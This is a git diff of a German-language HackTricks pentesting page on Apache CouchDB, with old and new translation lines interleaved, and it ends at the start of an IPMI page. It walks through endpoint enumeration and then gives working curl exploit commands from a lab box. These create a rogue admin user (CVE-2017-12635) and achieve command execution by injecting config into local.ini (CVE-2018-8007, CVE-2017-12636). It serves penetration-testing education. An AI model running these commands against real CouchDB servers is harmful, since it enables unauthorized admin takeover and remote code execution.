* **`/_node/{node-name}/_system`** Die Ressource `_system` gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können `_local` als `{node-name}` verwenden, um Informationen zum aktuellen Knoten zu erhalten.
* **`/_node/{node-name}`** Der `/_node/{node-name}`-Endpunkt kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist am nützlichsten, wenn Sie auf `/_node/_local` zugreifen, um diese Informationen abzurufen.
* **`/_node/{node-name}/_stats`** Die `_stats`-Ressource gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring `_local` dient als Alias für den lokalen Knotennamen, sodass für alle Statistiken-URLs `{node-name}` durch `_local` ersetzt werden kann, um mit den Statistiken des lokalen Knotens zu interagieren.
* **`/_node/{node-name}/_system`** Die \_systemressource gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können \_\_`_local` als {node-name} verwenden, um aktuelle Knoteninformationen zu erhalten.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Bestätigt, dass der Server aktiv, ausgeführt und bereit ist, auf Anfragen zu antworten. Wenn [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) auf `true` oder `nolb` gesetzt ist, gibt der Endpunkt eine 404-Fehlermeldung zurück.
* **`/_uuids`** Fordert eine oder mehrere universell eindeutige Bezeichner (UUIDs) von der CouchDB-Instanz an.
* **`/_reshard`** Gibt eine Anzahl abgeschlossener, fehlgeschlagener, laufender, gestoppter und insgesamt ausgeführter Jobs sowie den Zustand des Resharding im Cluster zurück.
* **`/_up`** Bestätigt, dass der Server aktiv, betriebsbereit und bereit ist, auf Anfragen zu antworten. Wenn [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` oder `nolb` ist, gibt der Endpunkt eine 404-Antwort zurück.
* **`/_uuids`** Fordert eine oder mehrere Universally Unique Identifiers (UUIDs) von der CouchDB-Instanz an.
* **`/_reshard`** Gibt eine Anzahl von abgeschlossenen, fehlgeschlagenen, laufenden, gestoppten und insgesamt Jobs zusammen mit dem Status des Reshardings im Cluster zurück.
Weitere interessante Informationen können wie hier erklärt extrahiert werden: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
@ -186,19 +73,19 @@ Weitere interessante Informationen können wie hier erklärt extrahiert werden:
```
curl -X GET http://IP:5984/_all_dbs
```
Wenn diese Anfrage mit einem **401 unauthorised** antwortet, benötigen Sie gültige Anmeldeinformationen, um auf die Datenbank zuzugreifen:
Wenn diese Anfrage **mit einem 401 nicht autorisiert** antwortet, benötigen Sie **gültige Anmeldeinformationen**, um auf die Datenbank zuzugreifen:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Um gültige Anmeldeinformationen zu finden, könnten Sie versuchen, den Dienst zu brute-forcen.
Um gültige Anmeldeinformationen zu finden, könnten Sie **versuchen**, [**den Dienst zu bruteforcen**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Dies ist ein Beispiel für eine CouchDB-Antwort, wenn Sie ausreichende Berechtigungen haben, um Datenbanken aufzulisten (Es handelt sich nur um eine Liste von Datenbanken):
Dies ist ein **Beispiel** für eine CouchDB **Antwort**, wenn Sie **genug Berechtigungen** haben, um Datenbanken aufzulisten (Es ist nur eine Liste von DBs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Datenbankinformationen
### Datenbankinfo
Sie können einige Informationen zur Datenbank (wie Anzahl der Dateien und Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen:
Sie können einige Datenbankinformationen (wie die Anzahl der Dateien und deren Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
@ -207,7 +94,7 @@ curl http://localhost:5984/simpsons
```
### **Dokumentenliste**
Liste jede Eintragung innerhalb einer Datenbank auf.
Listet jeden Eintrag in einer Datenbank auf
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
@ -225,172 +112,44 @@ curl http://localhost:5984/simpsons/_all_docs
### **Dokument lesen**
Lesen Sie den Inhalt eines Dokuments in einer Datenbank:
```bash
GET /<database>/<document_id>
```
```python
import requests
url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
response = requests.get(url)
print(response.text)
```
```javascript
const axios = require('axios');
const url = 'http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>';
axios.get(url)
.then(response => {
console.log(response.data);
})
.catch(error => {
console.error(error);
});
```
```ruby
require 'net/http'
url = URI.parse("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>")
http = Net::HTTP.new(url.host, url.port)
request = Net::HTTP::Get.new(url.path)
response = http.request(request)
puts response.body
```
```powershell
Invoke-RestMethod -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
```
```php
<?php
$url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
$response = file_get_contents($url);
echo $response;
?>
```
```java
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class Main {
public static void main(String[] args) {
try {
URL url = new URL("http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
StringBuilder result = new StringBuilder();
while ((line = rd.readLine()) != null) {
result.append(line);
}
rd.close();
System.out.println(result.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
```csharp
using System;
using System.Net;
class Program
{
static void Main()
{
using (WebClient client = new WebClient())
{
string url = "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>";
string response = client.DownloadString(url);
Console.WriteLine(response);
}
}
}
```
```go
package main
import (
"fmt"
"io/ioutil"
"net/http"
)
func main() {
url := "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
resp, err := http.Get(url)
if err != nil {
fmt.Println(err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(string(body))
}
```
```powershell
Invoke-WebRequest -Method GET -Uri "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
```
```bash
curl -X GET "http://<couchdb_ip>:<couchdb_port>/<database>/<document_id>"
```
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
## CouchDB Privilegieneskalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Dank der Unterschiede zwischen den Erlang- und JavaScript-JSON-Parsern können Sie mit folgendem Befehl einen Administrator-Benutzer mit den Anmeldeinformationen `hacktricks:hacktricks` erstellen:
Dank der Unterschiede zwischen Erlang- und JavaScript-JSON-Parsern könnten Sie **einen Admin-Benutzer** mit den Anmeldeinformationen `hacktricks:hacktricks` mit der folgenden Anfrage erstellen:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Weitere Informationen zu dieser Schwachstelle finden Sie hier**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
[**Weitere Informationen zu dieser Schwachstelle hier**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Erlang-Cookie-Sicherheitsüberblick**
### **Erlang Cookie Sicherheitsübersicht**
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
In der CouchDB-Dokumentation, speziell im Abschnitt zur Cluster-Einrichtung ([Link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), wird die Verwendung von Ports durch CouchDB im Cluster-Modus diskutiert. Es wird erwähnt, dass, wie im Standalone-Modus, Port `5984` verwendet wird. Zusätzlich wird Port `5986` für node-lokale APIs verwendet und wichtig ist, dass Erlang TCP-Port `4369` für den Erlang Port Mapper Daemon (EPMD) benötigt, der die Kommunikation zwischen den Knoten in einem Erlang-Cluster ermöglicht. Diese Einrichtung bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist.
In der CouchDB-Dokumentation, insbesondere im Abschnitt über die Cluster-Einrichtung ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), wird die Verwendung von Ports durch CouchDB im Cluster-Modus besprochen. Es wird erwähnt, dass, wie im Standalone-Modus, der Port `5984` verwendet wird. Zusätzlich ist der Port `5986` für node-lokale APIs vorgesehen, und wichtig ist, dass Erlang den TCP-Port `4369` für den Erlang Port Mapper Daemon (EPMD) benötigt, um die Kommunikation zwischen den Knoten innerhalb eines Erlang-Clusters zu erleichtern. Dieses Setup bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist.
Ein wichtiger Sicherheitshinweis betrifft Port `4369`. Wenn dieser Port über das Internet oder ein ungesichertes Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem eindeutigen Identifikator ab, der als "Cookie" bezeichnet wird. Dieser Cookie dient als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste der Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsframework des Systems hinweist.
Ein wichtiger Sicherheitshinweis wird bezüglich des Ports `4369` hervorgehoben. Wenn dieser Port über das Internet oder ein untrusted Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem einzigartigen Identifikator ab, der als "Cookie" bekannt ist. Dieses Cookie fungiert als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste das Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsrahmen des Systems hinweist.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein eigener Abschnitt für weitere Informationen zur Verfügung. Dort werden die Methoden zur unbefugten Nutzung von Erlang-Cookies zur Übernahme der Kontrolle über Systeme detailliert beschrieben. Sie können **[hier den detaillierten Leitfaden zur Ausnutzung von Erlang-Cookies für RCE erkunden](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein spezieller Abschnitt für weiterführende Lektüre zur Verfügung. Er beschreibt die Methoden zur unbefugten Nutzung von Erlang-Cookies, um Kontrolle über Systeme zu erlangen. Sie können **[den detaillierten Leitfaden zum Missbrauch von Erlang-Cookies für RCE hier erkunden](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Ausnutzung von CVE-2018-8007 durch Änderung der local.ini**
### **Ausnutzung von CVE-2018-8007 durch Modifikation von local.ini**
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Eine kürzlich bekannt gegebene Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und dabei festgestellt, dass für die Ausnutzung Schreibberechtigungen für die `local.ini`-Datei erforderlich sind. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das anfängliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die `local.ini`-Datei zu gewähren, um den Prozess zu erkunden. Detaillierte Schritte und Codebeispiele werden unten bereitgestellt, um den Vorgang zu veranschaulichen.
Eine kürzlich offengelegte Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und zeigte, dass die Ausnutzung Schreibberechtigungen für die Datei `local.ini` erfordert. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das ursprüngliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die Datei `local.ini` zu gewähren, um Erkundungszwecke zu ermöglichen. Detaillierte Schritte und Codebeispiele sind unten aufgeführt, die den Prozess demonstrieren.
Zunächst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die `local.ini`-Datei beschreibbar ist. Dies wird überprüft, indem die Berechtigungen aufgelistet werden:
Zuerst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die Datei `local.ini` beschreibbar ist, was durch Auflisten der Berechtigungen überprüft wird:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -398,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Um die Schwachstelle auszunutzen, wird ein Curl-Befehl ausgeführt, der auf die `cors/origins`-Konfiguration in `local.ini` abzielt. Dadurch wird ein neuer Ursprung zusammen mit zusätzlichen Befehlen unter dem Abschnitt `[os_daemons]` eingefügt, um beliebigen Code auszuführen:
Um die Schwachstelle auszunutzen, wird ein curl-Befehl ausgeführt, der die `cors/origins`-Konfiguration in `local.ini` anvisiert. Dies injiziert einen neuen Ursprung zusammen mit zusätzlichen Befehlen im Abschnitt `[os_daemons]`, um beliebigen Code auszuführen:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Nachfolgende Überprüfung zeigt die injizierte Konfiguration in `local.ini`, indem sie sie mit einem Backup vergleicht, um die Änderungen hervorzuheben:
Nachfolgende Überprüfungen zeigen die injizierte Konfiguration in `local.ini`, indem sie mit einem Backup verglichen wird, um die Änderungen hervorzuheben:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -411,56 +170,56 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Zunächst existiert die erwartete Datei (`/tmp/0xdf`) nicht, was darauf hinweist, dass der injizierte Befehl noch nicht ausgeführt wurde. Weitere Untersuchungen zeigen, dass Prozesse im Zusammenhang mit CouchDB ausgeführt werden, darunter einer, der potenziell den injizierten Befehl ausführen könnte:
Ursprünglich existiert die erwartete Datei (`/tmp/0xdf`) nicht, was darauf hindeutet, dass der injizierte Befehl noch nicht ausgeführt wurde. Weitere Untersuchungen zeigen, dass Prozesse im Zusammenhang mit CouchDB laufen, einschließlich eines, der möglicherweise den injizierten Befehl ausführen könnte:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Durch Beenden des identifizierten CouchDB-Prozesses und Zulassen des automatischen Neustarts wird die Ausführung des injizierten Befehls ausgelöst, wie durch das Vorhandensein der zuvor fehlenden Datei bestätigt wird:
Durch das Beenden des identifizierten CouchDB-Prozesses und das Zulassen, dass das System ihn automatisch neu startet, wird die Ausführung des injizierten Befehls ausgelöst, was durch die Existenz der zuvor fehlenden Datei bestätigt wird:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Diese Untersuchung bestätigt die Durchführbarkeit der Ausnutzung von CVE-2018-8007 unter bestimmten Bedingungen, insbesondere der Notwendigkeit eines beschreibbaren Zugriffs auf die Datei `local.ini`. Die bereitgestellten Codebeispiele und Verfahrensschritte bieten eine klare Anleitung zur Reproduktion des Exploits in einer kontrollierten Umgebung.
Diese Erkundung bestätigt die Durchführbarkeit der Ausnutzung von CVE-2018-8007 unter bestimmten Bedingungen, insbesondere der Anforderung nach schreibbarem Zugriff auf die `local.ini`-Datei. Die bereitgestellten Codebeispiele und Verfahrensschritte bieten eine klare Anleitung zur Replikation des Exploits in einer kontrollierten Umgebung.
Für weitere Details zu CVE-2018-8007 siehe den Bericht von mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
Für weitere Details zu CVE-2018-8007 siehe die Mitteilung von mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Erkundung von CVE-2017-12636 mit Schreibberechtigungen auf local.ini**
### **Erforschen von CVE-2017-12636 mit Schreibberechtigungen auf local.ini**
Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Es wurde eine Schwachstelle namens CVE-2017-12636 untersucht, die die Ausführung von Code über den CouchDB-Prozess ermöglicht, obwohl bestimmte Konfigurationen ihre Ausnutzung verhindern können. Trotz zahlreicher verfügbarer Proof-of-Concept (POC)-Referenzen sind Anpassungen erforderlich, um die Schwachstelle in CouchDB Version 2 auszunutzen, die sich von der üblicherweise angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Query-Server-Pfads zu bestätigen:
Eine Schwachstelle, bekannt als CVE-2017-12636, wurde untersucht, die die Codeausführung über den CouchDB-Prozess ermöglicht, obwohl spezifische Konfigurationen deren Ausnutzung verhindern können. Trotz zahlreicher Proof of Concept (POC)-Referenzen, die online verfügbar sind, sind Anpassungen erforderlich, um die Schwachstelle in der CouchDB-Version 2 auszunutzen, die sich von der häufig angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Abfrage-Server-Pfades zu bestätigen:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Um CouchDB Version 2.0 anzupassen, wird ein neuer Pfad verwendet:
Um CouchDB Version 2.0 zu unterstützen, wird ein neuer Pfad verwendet:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Versuche, einen neuen Abfrage-Server hinzuzufügen und aufzurufen, führten zu Berechtigungsfehlern, wie aus der folgenden Ausgabe hervorgeht:
Versuche, einen neuen Abfrage-Server hinzuzufügen und zu aktivieren, stießen auf berechtigungsbezogene Fehler, wie aus der folgenden Ausgabe hervorgeht:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Weitere Untersuchungen ergaben Berechtigungsprobleme mit der `local.ini`-Datei, die nicht beschreibbar war. Durch Ändern der Dateiberechtigungen mit Root- oder Homer-Zugriff wurde es möglich, fortzufahren:
Weitere Untersuchungen ergaben Berechtigungsprobleme mit der `local.ini`-Datei, die nicht beschreibbar war. Durch die Änderung der Dateiberechtigungen mit Root- oder Homer-Zugriff wurde es möglich, fortzufahren:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie durch das Fehlen von Fehlermeldungen in der Antwort gezeigt wurde. Die erfolgreiche Änderung der `local.ini`-Datei wurde durch den Dateivergleich bestätigt:
Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie die fehlenden Fehlermeldungen in der Antwort zeigen. Die erfolgreiche Modifikation der `local.ini`-Datei wurde durch einen Dateivergleich bestätigt:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Der Prozess wurde fortgesetzt mit der Erstellung einer Datenbank und eines Dokuments, gefolgt von dem Versuch, Code über eine benutzerdefinierte Ansicht auszuführen, die auf den neu hinzugefügten Abfrageserver abgebildet ist:
Der Prozess setzte sich mit der Erstellung einer Datenbank und eines Dokuments fort, gefolgt von einem Versuch, Code über eine benutzerdefinierte Ansicht, die auf den neu hinzugefügten Abfrageserver abgebildet ist, auszuführen:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Eine **[Zusammenfassung](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** mit einer alternativen Nutzlast bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. **Nützliche Ressourcen** zur Ausnutzung dieser Schwachstelle sind:
A **[Zusammenfassung](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** mit einer alternativen Payload bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. **Nützliche Ressourcen** zur Ausnutzung dieser Schwachstelle sind:
- [POC-Exploit-Code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [POC Exploit-Code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Eintrag in der Exploit-Datenbank](https://www.exploit-db.com/exploits/44913/)
## Shodan
@ -472,16 +231,17 @@ Eine **[Zusammenfassung](https://github.com/carlospolop/hacktricks/pull/116/comm
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -2,41 +2,42 @@
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Grundlegende Informationen
## Grundinformationen
### **Überblick über IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bietet einen standardisierten Ansatz für die Fernverwaltung und Überwachung von Computersystemen, unabhängig vom Betriebssystem oder Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme auch dann remote zu verwalten, wenn sie ausgeschaltet oder nicht reagierend sind, und ist besonders nützlich für:
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bietet einen standardisierten Ansatz für das Remote-Management und die Überwachung von Computersystemen, unabhängig vom Betriebssystem oder dem Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme aus der Ferne zu verwalten, selbst wenn sie ausgeschaltet oder nicht ansprechbar sind, und ist besonders nützlich für:
- Konfigurationen vor dem Betriebssystemstart
- Verwaltung bei ausgeschaltetem Zustand
- Wiederherstellung nach Systemausfällen
- Pre-OS-Boot-Konfigurationen
- Verwaltung des Stromausfalls
- Wiederherstellung von Systemfehlern
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen und gleichzeitig Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen, sowie Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, die die Fernverwaltungsfähigkeiten verbessern, insbesondere durch die Unterstützung von Version 2.0 für Serial over LAN. Zu den wichtigsten Komponenten gehören:
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, was die Remote-Management-Funktionen verbessert, insbesondere mit der Unterstützung von Version 2.0 für serielle Verbindungen über LAN. Zu den Hauptkomponenten gehören:
- **Baseboard Management Controller (BMC):** Der Haupt-Mikrocontroller für IPMI-Operationen.
- **Kommunikationsbusse und Schnittstellen:** Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedenen Schnittstellen für lokale und Netzwerkverbindungen.
- **Baseboard Management Controller (BMC):** Der Hauptmikrocontroller für IPMI-Operationen.
- **Kommunikationsbusse und -schnittstellen:** Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedener Schnittstellen für lokale und Netzwerkverbindungen.
- **IPMI-Speicher:** Zum Speichern von Protokollen und Daten.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
